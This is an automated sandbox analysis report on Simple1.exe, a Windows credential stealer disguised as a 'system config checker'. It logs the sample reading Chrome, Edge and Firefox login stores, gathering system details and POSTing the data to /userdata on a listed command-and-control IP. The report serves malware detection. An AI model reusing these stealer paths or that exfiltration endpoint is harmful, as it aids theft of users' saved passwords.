Edit tour

Windows Analysis Report
Simple1.exe

Overview

General Information

Sample name:	Simple1.exe
Analysis ID:	1569937
MD5:	218954f9dd70247e51af8a30940d5c33
SHA1:	35ee01d3128951c3993079186fddc9c0dbe155f7
SHA256:	95ec35703d323fe972a936d9b3574bb191e94b693656d94149897c5ff35f225f
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected suspicious sample

Contains functionality to steal Chrome passwords or cookies

Tries to harvest and steal browser information (history, passwords, etc)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to enumerate network shares

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Detected potential crypto function

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries information about the installed CPU (vendor, model number etc)

Classification

Process Tree

System is w10x64

Simple1.exe (PID: 6172 cmdline: "C:\Users\user\Desktop\Simple1.exe" MD5: 218954F9DD70247E51AF8A30940D5C33)

conhost.exe (PID: 2284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.2% probability

Source: Simple1.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: F:\systemConfigChecker\x64\Release\systemConfigChecker.pdb(( source: Simple1.exe
Source:	Binary string: F:\systemConfigChecker\x64\Release\systemConfigChecker.pdb source: Simple1.exe

Source: C:\Users\user\Desktop\Simple1.exe

Code function: 0_2_00007FF71E393CD0 memset,NetUserEnum,NetApiBufferFree,_invalid_parameter_noinfo_noreturn,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,

0_2_00007FF71E393CD0

Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: WinHTTP/1.0Host: api.ipify.org

Source: global traffic

DNS traffic detected: DNS query: api.ipify.org

Source: unknown

HTTP traffic detected: POST /userdata HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WebKitFormBoundaryUser-Agent: WinHTTP/1.0Content-Length: 97034Host: 185.237.165.97

Source: Simple1.exe, 00000000.00000002.2425067109.000001B161747000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/
Source: Simple1.exe, 00000000.00000002.2425067109.000001B161747000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/EO
Source: Simple1.exe, 00000000.00000002.2425067109.000001B16178D000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000002.2425067109.000001B161774000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000002.2425067109.000001B161762000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/userdata
Source: Simple1.exe, 00000000.00000002.2425067109.000001B16178D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/userdataE
Source: Simple1.exe, 00000000.00000002.2425067109.000001B16178D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/userdatapc
Source: Simple1.exe, 00000000.00000002.2425067109.000001B161774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/userdatare
Source: Simple1.exe, 00000000.00000002.2425067109.000001B161769000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97:80/userdataPza.
Source: Simple1.exe, 00000000.00000003.2124892163.000001B161774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/
Source: Simple1.exe, 00000000.00000002.2425067109.000001B161747000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/kJ
Source: Simple1.exe, 00000000.00000003.2124892163.000001B161769000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org:80/

Source: C:\Users\user\Desktop\Simple1.exe	Code function: 0_2_00007FF71E395D80	0_2_00007FF71E395D80
Source: C:\Users\user\Desktop\Simple1.exe	Code function: 0_2_00007FF71E391B50	0_2_00007FF71E391B50
Source: C:\Users\user\Desktop\Simple1.exe	Code function: 0_2_00007FF71E394A40	0_2_00007FF71E394A40
Source: C:\Users\user\Desktop\Simple1.exe	Code function: 0_2_00007FF71E394E50	0_2_00007FF71E394E50
Source: C:\Users\user\Desktop\Simple1.exe	Code function: 0_2_00007FF71E395510	0_2_00007FF71E395510

Source: classification engine

Classification label: mal52.spyw.winEXE@2/1@1/2

Source: C:\Users\user\Desktop\Simple1.exe

Code function: 0_2_00007FF71E393780 GetLogicalDrives,memset,GetDiskFreeSpaceExA,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,

0_2_00007FF71E393780

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2284:120:WilError_03

Source: Simple1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Simple1.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Simple1.exe, 00000000.00000003.2149587342.000001B1617F7000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2125611303.000001B1617D0000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2149587342.000001B161801000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2126018622.000001B1617CF000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2125611303.000001B1617C5000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2126018622.000001B1617DB000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2126018622.000001B1617E7000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2126644424.000001B1617C3000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: unknown	Process created: C:\Users\user\Desktop\Simple1.exe "C:\Users\user\Desktop\Simple1.exe"
Source: C:\Users\user\Desktop\Simple1.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: Simple1.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: Simple1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Simple1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Simple1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Simple1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Simple1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Simple1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Simple1.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Simple1.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: F:\systemConfigChecker\x64\Release\systemConfigChecker.pdb(( source: Simple1.exe
Source:	Binary string: F:\systemConfigChecker\x64\Release\systemConfigChecker.pdb source: Simple1.exe

Source: Simple1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Simple1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Simple1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Simple1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Simple1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Simple1.exe

Code function: malloc,memset,GetAdaptersInfo,malloc,GetAdaptersInfo,free,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,

0_2_00007FF71E393AA0

Source: C:\Users\user\Desktop\Simple1.exe TID: 1476

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\Simple1.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Simple1.exe

Code function: 0_2_00007FF71E393560 GetSystemInfo,memset,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@G@Z,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,

0_2_00007FF71E393560

Source: Simple1.exe, 00000000.00000002.2425067109.000001B161747000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000002.2425067109.000001B1617B3000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2124758080.000001B1617B3000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000003.2125339912.000001B1617B3000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Simple1.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Simple1.exe

Code function: 0_2_00007FF71E39BFAC IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF71E39BFAC

Source: C:\Users\user\Desktop\Simple1.exe	Code function: 0_2_00007FF71E39C150 SetUnhandledExceptionFilter,	0_2_00007FF71E39C150
Source: C:\Users\user\Desktop\Simple1.exe	Code function: 0_2_00007FF71E39BFAC IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF71E39BFAC
Source: C:\Users\user\Desktop\Simple1.exe	Code function: 0_2_00007FF71E39BB00 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF71E39BB00

Source: C:\Users\user\Desktop\Simple1.exe

Code function: GetLocaleInfoA,GetLocaleInfoA,memset,??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ,??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z,??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ,??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF71E394640

Source: C:\Users\user\Desktop\Simple1.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\Simple1.exe

Code function: 0_2_00007FF71E39C1BC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF71E39C1BC

Source: C:\Users\user\Desktop\Simple1.exe

Code function: 0_2_00007FF71E394180 GetTimeZoneInformation,memset,_invalid_parameter_noinfo_noreturn,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,

0_2_00007FF71E394180

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: C:\Users\user\Desktop\Simple1.exe	Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data		0_2_00007FF71E395510
Source: C:\Users\user\Desktop\Simple1.exe	Code function: \AppData\Local\Chromium\User Data\Default\Login Data		0_2_00007FF71E395510

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Simple1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\times.json	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Simple1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Network Share Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	1 Credentials In Files	2 System Time Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	11 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	2 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	25 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
http://185.237.165.97/userdataE	0%	Avira URL Cloud	safe
http://185.237.165.97/EO	0%	Avira URL Cloud	safe
http://185.237.165.97/userdatapc	0%	Avira URL Cloud	safe
http://185.237.165.97/	0%	Avira URL Cloud	safe
http://185.237.165.97/userdatare	0%	Avira URL Cloud	safe
http://185.237.165.97:80/userdataPza.	0%	Avira URL Cloud	safe
http://185.237.165.97/userdata	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	172.67.74.152	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.237.165.97:80/userdataPza.	Simple1.exe, 00000000.00000002.2425067109.000001B161769000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.ipify.org/	Simple1.exe, 00000000.00000003.2124892163.000001B161774000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.237.165.97/userdataE	Simple1.exe, 00000000.00000002.2425067109.000001B16178D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.ipify.org/kJ	Simple1.exe, 00000000.00000002.2425067109.000001B161747000.00000004.00000020.00020000.00000000.sdmp	false		high
http://api.ipify.org:80/	Simple1.exe, 00000000.00000003.2124892163.000001B161769000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.237.165.97/	Simple1.exe, 00000000.00000002.2425067109.000001B161747000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.237.165.97/userdata	Simple1.exe, 00000000.00000002.2425067109.000001B16178D000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000002.2425067109.000001B161774000.00000004.00000020.00020000.00000000.sdmp, Simple1.exe, 00000000.00000002.2425067109.000001B161762000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.237.165.97/userdatapc	Simple1.exe, 00000000.00000002.2425067109.000001B16178D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.237.165.97/userdatare	Simple1.exe, 00000000.00000002.2425067109.000001B161774000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.237.165.97/EO	Simple1.exe, 00000000.00000002.2425067109.000001B161747000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.237.165.97	unknown	France		52195	AP-MEDIA-ASPL	false
172.67.74.152	api.ipify.org	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1569937
Start date and time:	2024-12-06 11:48:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Simple1.exe
Detection:	MAL
Classification:	mal52.spyw.winEXE@2/1@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 28 Number of non-executed functions: 20
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Simple1.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.237.165.97	Simple2.exe	Get hash	malicious	Unknown	Browse	185.237.165.97/userdata
185.237.165.97	Simple2.exe	Get hash	malicious	Unknown	Browse	185.237.165.97/userdata
172.67.74.152	Simple2.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	2b7cu0KwZl.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Zc9eO57fgF.elf	Get hash	malicious	Unknown	Browse	api.ipify.org/
	67065b4c84713_Javiles.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	4F08j2Rmd9.bin	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	y8tCHz7CwC.bin	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	Simple2.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	Simple2.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	kYGxoN4JVW.bat	Get hash	malicious	Unknown	Browse	172.67.74.152
	REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	PO54782322024.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/7608c709-85a2-ef11-8a69-7c1e5279b2dd	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.13.205
	https://url.us.m.mimecastprotect.com/s/tWC_CNkXmJcoqkvlsmfBIyQP6j?domain=assets-gbr.mkt.dynamics.com	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.13.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AP-MEDIA-ASPL	Simple2.exe	Get hash	malicious	Unknown	Browse	185.237.165.97
	Simple2.exe	Get hash	malicious	Unknown	Browse	185.237.165.97
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	46.149.221.180
	file.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	185.237.165.180
	pjczQr2H3P.exe	Get hash	malicious	Socks5Systemz	Browse	185.237.165.53
	9TSh73ulR1.exe	Get hash	malicious	Socks5Systemz	Browse	185.237.165.53
	0o37tv6BhU.elf	Get hash	malicious	Mirai	Browse	46.149.221.189
CLOUDFLARENETUS	Pr9cqW75nY.lnk	Get hash	malicious	Unknown	Browse	104.18.10.207
	G3vWD786PN.lnk	Get hash	malicious	Unknown	Browse	104.18.11.207
	hTXtTJXdLt.lnk	Get hash	malicious	Unknown	Browse	104.18.11.207
	fqufh5EOJr.lnk	Get hash	malicious	Unknown	Browse	104.18.11.207
	NGVW0QXQSn.lnk	Get hash	malicious	Unknown	Browse	104.18.11.207
	EU2Yvx0L9q.lnk	Get hash	malicious	Unknown	Browse	104.18.11.207
	0XyV1vWJn6.lnk	Get hash	malicious	Unknown	Browse	104.18.11.207
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	QD40FIJ8QK.lnk	Get hash	malicious	Unknown	Browse	104.17.112.233

Process:	C:\Users\user\Desktop\Simple1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.8184510556594695
Encrypted:	false
SSDEEP:	24:8E5Kk89K5K889KM89LYeb89KDWD89MLFpLK+89r9H+3X6nck:8EUksKU8sKMsLDbsKDWDsgFdK+sF+3Xq
MD5:	FBECB45D903551F94C3A95B7EEBDB7E8
SHA1:	A3BF658F1E13A4DC965362539F393BE4669D92BF
SHA-256:	EDE965AD7144AB6AEEB6B689F76B0810683A438A2C2D78AC3AB865706D802A2C
SHA-512:	3CDA26D47F631860AB26696394330C48B2E58906B9F51C178397FB28743C368E49CDA0CA7FBD2B51458F4A65AC1F990D1B58D7BAF18C5D9CE8329F9D378B54F4
Malicious:	false
Reputation:	low
Preview:	File is found: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Local\Google\Chrome Beta\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Local\Chromium\User Data\Default\Login Data..File is found: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data..File not found: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Login Data..File not found: C:\Users\user\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json..File is found: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\times.json..?? ??????? ???????? ????? ?? ???????...

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	5.9784256378182175
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Simple1.exe
File size:	81'920 bytes
MD5:	218954f9dd70247e51af8a30940d5c33
